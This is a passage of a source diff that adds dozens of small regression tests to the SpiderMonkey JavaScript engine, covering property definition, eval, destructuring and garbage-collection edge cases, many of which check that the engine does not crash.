+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check() {
+ obj2.__proto__ = null;
+ return arguments.callee.caller;
+}
+
+var obj = { f: function() { check(); }};
+
+var obj2 = { __proto__: obj };
+
+obj2.f();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-588339.js b/js/src/tests/non262/regress/regress-588339.js
new file mode 100644
index 0000000000..b23f018f95
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-588339.js
@@ -0,0 +1,5 @@
+({})
+eval("{}")
+
+/* Watch for crash. */
+reportCompare(0, 0, "");
diff --git a/js/src/tests/non262/regress/regress-591846.js b/js/src/tests/non262/regress/regress-591846.js
new file mode 100644
index 0000000000..68b1feca3c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-591846.js
@@ -0,0 +1,64 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check(obj, name, value, readonly) {
+ // Start with a non-configurable, writable data property implemented via
+ // js::PropertyOp getter and setter.
+ var pd = Object.getOwnPropertyDescriptor(obj, name);
+
+ assertEq(pd.configurable, false, "non-configurable " + name);
+ assertEq(pd.writable, !readonly, "writable " + name);
+
+ try {
+ // Do not allow a transition from js::PropertyOp to writable js::Value
+ // data property.
+ Object.defineProperty(obj, name, {writable: true});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+
+ if (!readonly) {
+ try {
+ // Do not allow the property denoted by name to become a true data
+ // property via a descriptor that preserves the native property's
+ // writable attribute.
+ Object.defineProperty(obj, name, {value: value});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+ }
+
+ try {
+ // Do not allow the property to be frozen at some bogus value.
+ Object.defineProperty(obj, name, {value: "bogus", writable: false});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+
+ // Now make name non-writable.
+ Object.defineProperty(obj, name, {writable: false})
+
+ // Assert that the right getter result "stuck".
+ assertEq(obj[name], value);
+
+ // Test that it is operationally non-writable now.
+ obj[name] = "eek!";
+ assertEq(obj[name], value);
+}
+
+// Reset RegExp.leftContext to the empty string.
+/x/.test('x');
+
+var d = Object.getOwnPropertyDescriptor(RegExp, "leftContext");
+assertEq(d.set, undefined);
+assertEq(typeof d.get, "function");
+assertEq(d.enumerable, true);
+assertEq(d.configurable, false);
+assertEq(d.get.call(RegExp), "");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-591897.js b/js/src/tests/non262/regress/regress-591897.js
new file mode 100644
index 0000000000..b4486bba8e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-591897.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+var expect = 42;
+var actual = (function({
+ x: [w]
+},
+x) {
+ with({}) {return w;}
+})({x:[42]});
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-592202-3.js b/js/src/tests/non262/regress/regress-592202-3.js
new file mode 100644
index 0000000000..db44245b04
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-592202-3.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+test();
+
+function test()
+{
+ var counter = 0;
+ function f(x,y) {
+ try
+ {
+ throw 42;
+ }
+ catch(e2)
+ {
+ foo(function(){ return x; }| "9.2" && 5 || counter && e);
+ ++counter;
+ }
+ }
+
+ f(2, 1);
+}
+
+function foo(bar) { return ""+bar; }
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-592202-4.js b/js/src/tests/non262/regress/regress-592202-4.js
new file mode 100644
index 0000000000..7425280565
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-592202-4.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function p() { }
+
+function test()
+{
+ var counter = 0;
+
+ function f(x) {
+ try
+ {
+ throw 42;
+ }
+ catch(e)
+ {
+ assertEq(counter, 0);
+ p(function(){x;});
+ counter = 1;
+ }
+ }
+
+ f(2);
+ assertEq(counter, 1);
+}
+
+test();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-592556-c35.js b/js/src/tests/non262/regress/regress-592556-c35.js
new file mode 100644
index 0000000000..c2ceb4a321
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-592556-c35.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var obj = {a: 0, b: 1, c: 2};
+delete obj.b; // switch to dictionary mode
+Object.defineProperty(obj, 'g',
+ {get: function () { return -1; }, configurable: true});
+for (var i = 3; i < 20; i++)
+ obj['x' + i] = i; // get property table
+for (var i = 3; i < 20; i++)
+ delete obj['x' + i]; // add to freelist
+delete obj.g; // must update lastProp->freeslot, to avoid assertion
+
+// extra junk to try to hit the assertion, if freeslot is not updated
+gc();
+obj.d = 3;
+obj.e = 4;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-593256.js b/js/src/tests/non262/regress/regress-593256.js
new file mode 100644
index 0000000000..fe24bee40b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-593256.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+eval("\
+ (function(){for(d in[0,Number]) {\
+ this.__defineGetter__(\"\",function(){}),\
+ [(this.__defineGetter__(\"x\",Math.pow))]\
+ }})\
+")()
+delete gc
+eval("\
+ (function() {\
+ for(e in this.__defineSetter__(\"x\",function(){})){}\
+ })\
+")()
+delete gc
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/non262/regress/regress-595230-2.js b/js/src/tests/non262/regress/regress-595230-2.js
new file mode 100644
index 0000000000..02499df769
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-595230-2.js
@@ -0,0 +1,10 @@
+// |reftest| fails-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jason Orendorff <jorendorff@mozilla.com>
+
+var s = evalcx("");
+delete s.Object;
+evalcx("var x;", s);
+
+this.reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-595365-1.js b/js/src/tests/non262/regress/regress-595365-1.js
new file mode 100644
index 0000000000..1010d88531
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-595365-1.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes the value of MAX_PROPERTY_TREE_HEIGHT.
+ */
+var i = 0;
+function add0to64(o) {
+ o.p00 = ++i;o.p01 = ++i;o.p02 = ++i;o.p03 = ++i;o.p04 = ++i;o.p05 = ++i;o.p06 = ++i;o.p07 = ++i;
+ o.p10 = ++i;o.p11 = ++i;o.p12 = ++i;o.p13 = ++i;o.p14 = ++i;o.p15 = ++i;o.p16 = ++i;o.p17 = ++i;
+ o.p20 = ++i;o.p21 = ++i;o.p22 = ++i;o.p23 = ++i;o.p24 = ++i;o.p25 = ++i;o.p26 = ++i;o.p27 = ++i;
+ o.p30 = ++i;o.p31 = ++i;o.p32 = ++i;o.p33 = ++i;o.p34 = ++i;o.p35 = ++i;o.p36 = ++i;o.p37 = ++i;
+ o.p40 = ++i;o.p41 = ++i;o.p42 = ++i;o.p43 = ++i;o.p44 = ++i;o.p45 = ++i;o.p46 = ++i;o.p47 = ++i;
+ o.p50 = ++i;o.p51 = ++i;o.p52 = ++i;o.p53 = ++i;o.p54 = ++i;o.p55 = ++i;o.p56 = ++i;o.p57 = ++i;
+ o.p60 = ++i;o.p61 = ++i;o.p62 = ++i;o.p63 = ++i;o.p64 = ++i;o.p65 = ++i;o.p66 = ++i;o.p67 = ++i;
+ o.p70 = ++i;o.p71 = ++i;o.p72 = ++i;o.p73 = ++i;o.p74 = ++i;o.p75 = ++i;o.p76 = ++i;o.p77 = ++i;
+ o.p100 = ++i;
+ return o;
+}
+function add65th(o) {
+ o.p101 = ++i;
+}
+var o = add0to64({});
+add65th(o);
+delete o.p101;
+add65th(o);
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/non262/regress/regress-596103.js b/js/src/tests/non262/regress/regress-596103.js
new file mode 100644
index 0000000000..2b19100964
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-596103.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>, Jesse Ruderman <jruderman@gmail.com>
+
+for (var u = 0; u < 3; ++u) {
+ var y = [];
+ Object.create(y);
+ gc();
+ y.t = 3;
+ gc();
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-596805-1.js b/js/src/tests/non262/regress/regress-596805-1.js
new file mode 100644
index 0000000000..c008beb380
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-596805-1.js
@@ -0,0 +1,14 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var f = function(){};
+for (var y in f);
+f.j = 0;
+Object.defineProperty(f, "k", ({configurable: true}));
+delete f.j;
+Object.defineProperty(f, "k", ({get: function() {}}));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-596805-2.js b/js/src/tests/non262/regress/regress-596805-2.js
new file mode 100644
index 0000000000..a63df96982
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-596805-2.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+for(let c of [0, 0, 0, 0, 0]) {
+ try { (function() {
+ this.c = this;
+ this.e = arguments;
+ Object.defineProperty(this, "d", {
+ get: Math.pow,
+ configurable: true
+ });
+ delete this.e;
+ delete this.c;
+ Object.defineProperty(this, "d", {
+ writable: true
+ });
+ if (Math.tan( - 1)) {
+ Object.defineProperty(this, {});
+ }
+ } (c));
+ } catch(e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-597945-1.js b/js/src/tests/non262/regress/regress-597945-1.js
new file mode 100644
index 0000000000..e4bd77dac7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-597945-1.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var arguments;
+
+function b(foo) {
+ delete foo.d
+ delete foo.w
+ foo.d = true
+ foo.w = Object
+ delete Object.defineProperty(foo, "d", ({
+ set: Math.w
+ })); {}
+}
+for(e of [arguments, arguments]) {
+ try {
+ b(e)('')
+ } catch (e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-597945-2.js b/js/src/tests/non262/regress/regress-597945-2.js
new file mode 100644
index 0000000000..ca5b2e1627
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-597945-2.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = {d: true, w: true};
+Object.defineProperty(a, "d", {set: undefined});
+delete a.d;
+delete a.w;
+a.d = true;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-598176.js b/js/src/tests/non262/regress/regress-598176.js
new file mode 100644
index 0000000000..754edf2392
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-598176.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function make() {
+ var r = {};
+ r.desc = {get: function() {}};
+ r.a = Object.defineProperty({}, "prop", r.desc);
+ r.info = Object.getOwnPropertyDescriptor(r.a, "prop");
+ return r;
+}
+
+r1 = make();
+assertEq(r1.desc.get, r1.info.get);
+
+// Distinct evaluations of an object literal make distinct methods.
+r2 = make();
+assertEq(r1.desc.get === r2.desc.get, false);
+
+r1.info.get.foo = 42;
+
+assertEq(r1.desc.get.hasOwnProperty('foo'), !r2.desc.get.hasOwnProperty('foo'));
+assertEq(r1.info.get.hasOwnProperty('foo'), !r2.info.get.hasOwnProperty('foo'));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-600067.js b/js/src/tests/non262/regress/regress-600067.js
new file mode 100644
index 0000000000..4bcf57406a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-600067.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes for the value of PropertyTable::HASH_THRESHOLD (6).
+ */
+
+function s(e) {
+ var a, b, c, d;
+ function e() { }
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/non262/regress/regress-601399.js b/js/src/tests/non262/regress/regress-601399.js
new file mode 100644
index 0000000000..7f727c697c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-601399.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Test courtesy of Olov Lassus <olov.lassus@gmail.com>.
+ */
+
+function keys(o) {
+ var a = [];
+ for (var key in o) {
+ a.push(key);
+ }
+ return a;
+}
+
+var obj = {
+ 'a': function() {}, 'b': function() {}, 'c': function() {}
+};
+var orig_order = keys(obj).toString();
+var tmp = obj["b"];
+var read_order = keys(obj).toString();
+
+reportCompare(orig_order, read_order,
+ "property enumeration order should not change after reading a method value");
diff --git a/js/src/tests/non262/regress/regress-602621.js b/js/src/tests/non262/regress/regress-602621.js
new file mode 100644
index 0000000000..bf9eaffecb
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-602621.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function test(arg) {
+ eval(arg);
+ {
+ function arguments() { return 1; }
+ }
+ return arguments;
+}
+
+reportCompare("function", typeof test("42"), "function sub-statement must override arguments");
diff --git a/js/src/tests/non262/regress/regress-607799.js b/js/src/tests/non262/regress/regress-607799.js
new file mode 100644
index 0000000000..f1111dd67c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-607799.js
@@ -0,0 +1,2 @@
+// |reftest| fails-if(!xulRuntime.shell)
+reportCompare(typeof(evalcx("/x/")), "object")
diff --git a/js/src/tests/non262/regress/regress-607863.js b/js/src/tests/non262/regress/regress-607863.js
new file mode 100644
index 0000000000..14a4ce3d3a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-607863.js
@@ -0,0 +1,14 @@
+// |reftest| fails-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var sandbox = evalcx('');
+var foreign = evalcx('({ get f() { return this; }, set x(v) { result = this } })', sandbox);
+var local = Object.create(foreign);
+
+reportCompare(local, local.f, "this should be set correctly in getters");
+local.x = 42;
+reportCompare(local, sandbox.result, "this should be set correctly in setters");
diff --git a/js/src/tests/non262/regress/regress-609617.js b/js/src/tests/non262/regress/regress-609617.js
new file mode 100644
index 0000000000..0a530ec530
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-609617.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var actual;
+var expect = "pass";
+
+var x = "fail";
+function f() {
+ var x = "pass";
+ delete(eval("actual = x"));
+}
+f();
+assertEq(actual, expect);
+
+function g() { return 1 }
+function h() { function g() { throw 2; } eval('g()')++; }
+
+try {
+ h();
+ assertEq(0, -1);
+} catch (e) {
+ assertEq(e, 2);
+}
+
+var lhs_prefix = ["", "++", "--", "", "", "[", "[y, " ];
+var lhs_suffix = [" = 'no'", "", "", "++", "--", ", y] = [3, 4]", "] = [5, 6]"];
+
+for (var i = 0; i < lhs_prefix.length; i++) {
+ try {
+ eval(lhs_prefix[i] + "eval('x')" + lhs_suffix[i]);
+ assertEq(i, -2);
+ } catch (e) {
+ if (/\[/.test(lhs_prefix[i])) {
+ assertEq(e.message, "invalid destructuring target");
+ } else {
+ /*
+ * NB: JSOP_SETCALL throws only JSMSG_ASSIGN_TO_CALL, it does not
+ * specialize for ++ and -- as the compiler's error reporting does. See
+ * the next section's forked assertEq code.
+ */
+ assertEq(e.message, "cannot assign to function call");
+ }
+ }
+}
+
+/* Now test for strict mode rejecting any SETCALL variant at compile time. */
+for (var i = 0; i < lhs_prefix.length; i++) {
+ try {
+ eval("(function () { 'use strict'; " + lhs_prefix[i] + "foo('x')" + lhs_suffix[i] + "; })");
+ assertEq(i, -3);
+ } catch (e) {
+ if (/\+\+|\-\-/.test(lhs_prefix[i] || lhs_suffix[i]))
+ assertEq(e.message, "invalid increment/decrement operand");
+ else if (/\[/.test(lhs_prefix[i]))
+ assertEq(e.message, "invalid destructuring target");
+ else
+ assertEq(e.message, "invalid assignment left-hand side");
+ }
+}
+
+/*
+ * The useless delete is optimized away, but the SETCALL must not be. It's not
+ * an early error, though.
+ */
+var fooArg;
+function foo(arg) { fooArg = arg; }
+try {
+ eval("delete (foo('x') = 42);");
+ assertEq(0, -4);
+} catch (e) {
+ assertEq(e.message, "cannot assign to function call");
+}
+assertEq(fooArg, 'x');
+
+/* Delete of a call expression is not an error at all, even in strict mode. */
+function g() {
+ "use strict";
+ assertEq(delete Object(), true);
+}
+g();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-610026.js b/js/src/tests/non262/regress/regress-610026.js
new file mode 100644
index 0000000000..499169c491
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-610026.js
@@ -0,0 +1,49 @@
+// |reftest| slow
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = "pass";
+var actual;
+
+// Scripts used to be limited to 2**20 blocks, but no longer since the frontend
+// rewrite. The exact limit-testing here should all pass now, not pass for
+// 2**20 - 1 and fail for 2**20.
+var s = "{}";
+for (var i = 0; i < 21; i++)
+ s += s;
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += s.slice(0, -4);
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += "{}";
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-614714.js b/js/src/tests/non262/regress/regress-614714.js
new file mode 100644
index 0000000000..4d387279cd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-614714.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f(reportCompare) {
+ if (typeof clear === 'function')
+ clear(this);
+ return f;
+}
+
+// This must be called before clear().
+reportCompare(0, 0, 'ok');
+f(); // don't assert
diff --git a/js/src/tests/non262/regress/regress-617405-1.js b/js/src/tests/non262/regress/regress-617405-1.js
new file mode 100644
index 0000000000..f8625496c9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-617405-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+assertEq(Object.getOwnPropertyDescriptor(C, "prototype").configurable, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-617405-2.js b/js/src/tests/non262/regress/regress-617405-2.js
new file mode 100644
index 0000000000..76e59b663e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-617405-2.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+try {
+ Object.defineProperty(C, "prototype", {get: function() { throw 0; }});
+ actual = "no exception";
+} catch (exc) {
+ actual = exc.name;
+}
+new C; // don't assert
+assertEq(actual, "TypeError");
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-618572.js b/js/src/tests/non262/regress/regress-618572.js
new file mode 100644
index 0000000000..f2995295ef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-618572.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 618572;
+var summary = 'Do not assert when ungetting a Unicode char sequence';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError';
+
+ try
+ {
+ eval("var a\\0021 = 3;");
+ }
+ catch(ex)
+ {
+ actual = ex.constructor.name;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-619003-1.js b/js/src/tests/non262/regress/regress-619003-1.js
new file mode 100644
index 0000000000..6a9fd3b50e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-619003-1.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'SyntaxError: duplicate argument names not allowed in this context';
+var actual = 'No error';
+
+var a = [];
+
+// Test up to 200 to cover tunables such as js::PropertyTree::MAX_HEIGHT.
+for (var i = 0; i < 200; i++) {
+ a.push("b" + i);
+ try {
+ eval("(function ([" + a.join("],[") + "],a,a){})");
+ } catch (e) {
+ actual = '' + e;
+ }
+ assertEq(actual, expect);
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-619003-2.js b/js/src/tests/non262/regress/regress-619003-2.js
new file mode 100644
index 0000000000..643286f241
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-619003-2.js
@@ -0,0 +1,9 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "global";
+var actual = expect;
+function f([actual]) { }
+f(["local"]);
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-620376-1.js b/js/src/tests/non262/regress/regress-620376-1.js
new file mode 100644
index 0000000000..de55a18c24
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-620376-1.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Igor Bukanov
+ */
+
+// Test that we can terminate looping array enumeration
+function test() {
+ if (typeof timeout != "function")
+ return;
+
+ var p = new Proxy({}, { onwKeys: function() { return Array(1e9); }});
+
+ expectExitCode(6);
+ timeout(0.001);
+
+ var n = 0;
+ for (i in p) { ++n;}
+ return n;
+}
+
+test();
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-624547.js b/js/src/tests/non262/regress/regress-624547.js
new file mode 100644
index 0000000000..659b64750e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-624547.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(x) {
+ delete arguments[0];
+ for(var i=0; i<20; i++) {
+ arguments[0] !== undefined;
+ }
+}
+
+/* Don't crash. */
+f(1);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-624968.js b/js/src/tests/non262/regress/regress-624968.js
new file mode 100644
index 0000000000..b631df90ac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-624968.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Bob Clary <bclary@bclary.com>
+
+try {
+ new {prototype: TypeError.prototype};
+} catch (e) {}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-626436.js b/js/src/tests/non262/regress/regress-626436.js
new file mode 100644
index 0000000000..09b9093d73
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-626436.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Christian Holler <decoder@own-hero.net>, Jesse Ruderman <jruderman@gmail.com>
+
+(1 ? 2 : delete(0 ? 0 : {})).x;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-633741.js b/js/src/tests/non262/regress/regress-633741.js
new file mode 100644
index 0000000000..5f32d4702a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-633741.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!xulRuntime.shell) -- preventExtensions on global
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jan de Mooij
+ */
+
+Object.preventExtensions(this);
+delete Function;
+
+try {
+ /* Don't assert. */
+ Object.getOwnPropertyNames(this);
+} catch(e) {
+ reportCompare(true, false, "this shouldn't have thrown");
+}
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/regress/regress-634210-1.js b/js/src/tests/non262/regress/regress-634210-1.js
new file mode 100644
index 0000000000..02a1e14f1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-634210-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {}
+f.p = function() {};
+Object.freeze(f);
+f.p;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-634210-2.js b/js/src/tests/non262/regress/regress-634210-2.js
new file mode 100644
index 0000000000..28adc55525
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-634210-2.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+ a[i] = {m: function () {}};
+ Object.defineProperty(a[i], "m", {writable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-634210-3.js b/js/src/tests/non262/regress/regress-634210-3.js
new file mode 100644
index 0000000000..e3ec7d81bc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-634210-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+ a[i] = {m: function () {}};
+ Object.defineProperty(a[i], "m", {configurable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-634210-4.js b/js/src/tests/non262/regress/regress-634210-4.js
new file mode 100644
index 0000000000..e4ff870d5f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-634210-4.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function outer() {
+ function f() {}
+ f.p = function() {};
+ Object.seal(f);
+ return f.p;
+}
+
+var m1 = outer();
+var m2 = outer();
+assertEq(m1 === m2, false);
+
+m1.foo = "hi";
+assertEq(m2.foo, undefined);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-636364.js b/js/src/tests/non262/regress/regress-636364.js
new file mode 100644
index 0000000000..02df9878a9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-636364.js
